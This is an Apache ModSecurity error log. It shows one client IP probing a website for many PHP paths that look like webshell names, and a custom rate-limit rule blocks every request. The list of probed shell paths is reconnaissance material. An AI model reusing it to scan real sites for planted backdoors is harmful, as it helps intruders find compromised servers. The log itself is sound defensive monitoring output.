[Mon Dec 22 21:40:14.940234 2025] [:error] [pid 58078:tid 58088] [client 4.230.34.85:11893] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aUlKPpWKg9Bf8njHlB5dYQAAAAU"]
[Mon Dec 22 21:40:15.226162 2025] [:error] [pid 33471:tid 33495] [client 4.230.34.85:11846] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aUlKP75BeNE7regJ7ixVCwAAAVU"]
[Mon Dec 22 21:40:15.504911 2025] [:error] [pid 33535:tid 33560] [client 4.230.34.85:6103] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aUlKP2OCI8D9Xtn-n7TOpAAAAdc"]
[Mon Dec 22 21:40:15.824148 2025] [:error] [pid 33472:tid 33502] [client 4.230.34.85:11807] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aUlKP55p2WQpPIK8HAk_dQAAAYE"]
[Mon Dec 22 21:40:16.134196 2025] [:error] [pid 58172:tid 58180] [client 4.230.34.85:11856] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aUlKQOSVKDT5jWOcnSUDGAAAAMY"]
[Mon Dec 22 21:40:16.414764 2025] [:error] [pid 58172:tid 58198] [client 4.230.34.85:11892] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aUlKQOSVKDT5jWOcnSUDGgAAANg"]
[Mon Dec 22 21:40:16.754639 2025] [:error] [pid 33440:tid 33452] [client 4.230.34.85:11899] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aUlKQJOsUWKqgxu6QTRAFQAAAQo"]
[Mon Dec 22 21:40:17.047704 2025] [:error] [pid 58078:tid 58087] [client 4.230.34.85:11789] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aUlKQZWKg9Bf8njHlB5dZQAAAAQ"]
[Mon Dec 22 21:40:17.372075 2025] [:error] [pid 58078:tid 58085] [client 4.230.34.85:11835] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aUlKQZWKg9Bf8njHlB5dZgAAAAI"]
[Mon Dec 22 21:40:17.677180 2025] [:error] [pid 58078:tid 58094] [client 4.230.34.85:11790] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aUlKQZWKg9Bf8njHlB5daAAAAAs"]
[Mon Dec 22 21:40:17.961808 2025] [:error] [pid 56155:tid 56229] [client 4.230.34.85:11853] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aUlKQWG8a3wQucsuN67_AgAAA4c"]
[Mon Dec 22 21:40:18.282063 2025] [:error] [pid 58172:tid 58188] [client 4.230.34.85:11864] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aUlKQuSVKDT5jWOcnSUDHAAAAM4"]
[Mon Dec 22 21:40:18.576621 2025] [:error] [pid 58172:tid 58179] [client 4.230.34.85:11776] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aUlKQuSVKDT5jWOcnSUDHwAAAMU"]
[Mon Dec 22 21:40:18.877384 2025] [:error] [pid 33440:tid 33460] [client 4.230.34.85:11886] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aUlKQpOsUWKqgxu6QTRAFwAAARI"]
[Mon Dec 22 21:40:19.354614 2025] [:error] [pid 58078:tid 58089] [client 4.230.34.85:11869] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aUlKQ5WKg9Bf8njHlB5dawAAAAY"]
[Mon Dec 22 21:40:19.695670 2025] [:error] [pid 33440:tid 33462] [client 4.230.34.85:11782] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aUlKQ5OsUWKqgxu6QTRAGAAAARQ"]
[Mon Dec 22 21:40:20.028358 2025] [:error] [pid 33440:tid 33456] [client 4.230.34.85:11867] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aUlKRJOsUWKqgxu6QTRAGwAAAQ4"]
[Mon Dec 22 21:40:20.309872 2025] [:error] [pid 58078:tid 58100] [client 4.230.34.85:11879] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aUlKRJWKg9Bf8njHlB5dbgAAABE"]
[Mon Dec 22 21:40:20.591372 2025] [:error] [pid 56080:tid 56124] [client 4.230.34.85:11900] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aUlKRJIHT3YJq9hjDc7zngAAAwA"]
[Mon Dec 22 21:40:20.897145 2025] [:error] [pid 56155:tid 56233] [client 4.230.34.85:11849] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aUlKRGG8a3wQucsuN67_BQAAA4s"]
[Mon Dec 22 21:40:21.179807 2025] [:error] [pid 58172:tid 58176] [client 4.230.34.85:11881] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aUlKReSVKDT5jWOcnSUDIAAAAMI"]
[Mon Dec 22 21:40:21.481829 2025] [:error] [pid 33564:tid 33580] [client 4.230.34.85:11818] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aUlKRQSHeG6oLmMnKY7UPQAAAg0"]
[Mon Dec 22 21:40:21.775932 2025] [:error] [pid 33440:tid 33466] [client 4.230.34.85:11840] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aUlKRZOsUWKqgxu6QTRAHQAAARg"]
[Mon Dec 22 21:40:22.053190 2025] [:error] [pid 56155:tid 56223] [client 4.230.34.85:11845] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aUlKRmG8a3wQucsuN67_BwAAA4E"]
[Mon Dec 22 21:40:22.385634 2025] [:error] [pid 56080:tid 56137] [client 4.230.34.85:11806] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aUlKRpIHT3YJq9hjDc7zoQAAAw0"]
[Mon Dec 22 21:40:22.669348 2025] [:error] [pid 56080:tid 56127] [client 4.230.34.85:11784] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aUlKRpIHT3YJq9hjDc7zogAAAwM"]
[Mon Dec 22 21:40:22.959724 2025] [:error] [pid 33535:tid 33544] [client 4.230.34.85:11814] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aUlKRmOCI8D9Xtn-n7TOpwAAAcc"]
[Mon Dec 22 21:40:23.232535 2025] [:error] [pid 33564:tid 33590] [client 4.230.34.85:11836] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aUlKRwSHeG6oLmMnKY7UPgAAAhc"]
[Mon Dec 22 21:40:23.557228 2025] [:error] [pid 33472:tid 33523] [client 4.230.34.85:11898] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aUlKR55p2WQpPIK8HAk_kQAAAZY"]
[Mon Dec 22 21:40:23.846413 2025] [:error] [pid 58078:tid 58104] [client 4.230.34.85:6102] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aUlKR5WKg9Bf8njHlB5dcwAAABU"]
[Mon Dec 22 21:40:24.134250 2025] [:error] [pid 58078:tid 58094] [client 4.230.34.85:11793] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aUlKSJWKg9Bf8njHlB5ddAAAAAs"]
[Mon Dec 22 21:40:24.433819 2025] [:error] [pid 58078:tid 58083] [client 4.230.34.85:11777] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aUlKSJWKg9Bf8njHlB5ddgAAAAA"]
[Mon Dec 22 21:40:24.813729 2025] [:error] [pid 33440:tid 33442] [client 4.230.34.85:11822] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aUlKSJOsUWKqgxu6QTRAHgAAAQA"]
[Mon Dec 22 21:40:25.153651 2025] [:error] [pid 33440:tid 33460] [client 4.230.34.85:11805] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aUlKSZOsUWKqgxu6QTRAHwAAARI"]
[Mon Dec 22 21:40:25.457254 2025] [:error] [pid 33564:tid 33584] [client 4.230.34.85:11882] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aUlKSQSHeG6oLmMnKY7UQQAAAhE"]
[Mon Dec 22 21:40:25.785648 2025] [:error] [pid 56155:tid 56246] [client 4.230.34.85:11779] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aUlKSWG8a3wQucsuN67_CgAAA5g"]
[Mon Dec 22 21:40:26.065021 2025] [:error] [pid 33535:tid 33548] [client 4.230.34.85:11847] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aUlKSmOCI8D9Xtn-n7TOrQAAAcs"]
[Mon Dec 22 21:40:26.401698 2025] [:error] [pid 33535:tid 33545] [client 4.230.34.85:11875] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aUlKSmOCI8D9Xtn-n7TOrgAAAcg"]
[Mon Dec 22 21:40:26.777228 2025] [:error] [pid 58078:tid 58093] [client 4.230.34.85:11871] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aUlKSpWKg9Bf8njHlB5deAAAAAo"]
[Mon Dec 22 21:40:27.073016 2025] [:error] [pid 58078:tid 58100] [client 4.230.34.85:11837] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aUlKS5WKg9Bf8njHlB5deQAAABE"]
[Mon Dec 22 21:40:27.579810 2025] [:error] [pid 58078:tid 58088] [client 4.230.34.85:11878] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUlKS5WKg9Bf8njHlB5dfAAAAAU"]
[Mon Dec 22 21:40:27.924083 2025] [:error] [pid 33440:tid 33446] [client 4.230.34.85:11894] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUlKS5OsUWKqgxu6QTRAIgAAAQQ"]
[Mon Dec 22 21:40:28.237001 2025] [:error] [pid 58078:tid 58085] [client 4.230.34.85:11800] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUlKTJWKg9Bf8njHlB5dfwAAAAI"]
[Mon Dec 22 21:40:28.541099 2025] [:error] [pid 33564:tid 33577] [client 4.230.34.85:11884] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUlKTASHeG6oLmMnKY7URAAAAgo"]
[Mon Dec 22 21:40:28.893715 2025] [:error] [pid 56044:tid 56057] [client 4.230.34.85:11863] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aUlKTO60uUaieriJqP14-AAAAIk"]
[Mon Dec 22 21:40:29.246249 2025] [:error] [pid 56155:tid 56224] [client 4.230.34.85:11857] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aUlKTWG8a3wQucsuN67_DAAAA4I"]
[Mon Dec 22 21:40:29.523390 2025] [:error] [pid 33440:tid 33444] [client 4.230.34.85:11897] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aUlKTZOsUWKqgxu6QTRAJAAAAQI"]
[Mon Dec 22 21:40:29.816313 2025] [:error] [pid 33440:tid 33449] [client 4.230.34.85:11826] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aUlKTZOsUWKqgxu6QTRAJQAAAQc"]
[Mon Dec 22 21:40:30.151765 2025] [:error] [pid 56155:tid 56233] [client 4.230.34.85:11801] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aUlKTmG8a3wQucsuN67_DgAAA4s"]
[Mon Dec 22 21:40:30.435294 2025] [:error] [pid 58078:tid 58089] [client 4.230.34.85:11798] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aUlKTpWKg9Bf8njHlB5dggAAAAY"]
[Mon Dec 22 21:40:30.721186 2025] [:error] [pid 56155:tid 56227] [client 4.230.34.85:11787] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aUlKTmG8a3wQucsuN67_EAAAA4U"]
[Mon Dec 22 21:40:31.038161 2025] [:error] [pid 33564:tid 33576] [client 4.230.34.85:11796] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aUlKTwSHeG6oLmMnKY7USAAAAgk"]
[Mon Dec 22 21:40:31.310255 2025] [:error] [pid 33472:tid 33504] [client 4.230.34.85:11819] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aUlKT55p2WQpPIK8HAk_lwAAAYM"]
[Mon Dec 22 21:40:31.592529 2025] [:error] [pid 58078:tid 58093] [client 4.230.34.85:11855] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aUlKT5WKg9Bf8njHlB5dhAAAAAo"]
[Mon Dec 22 21:40:31.884305 2025] [:error] [pid 56155:tid 56246] [client 4.230.34.85:11888] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aUlKT2G8a3wQucsuN67_EwAAA5g"]
[Mon Dec 22 21:40:32.202905 2025] [:error] [pid 33440:tid 33443] [client 4.230.34.85:11889] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aUlKUJOsUWKqgxu6QTRAKQAAAQE"]
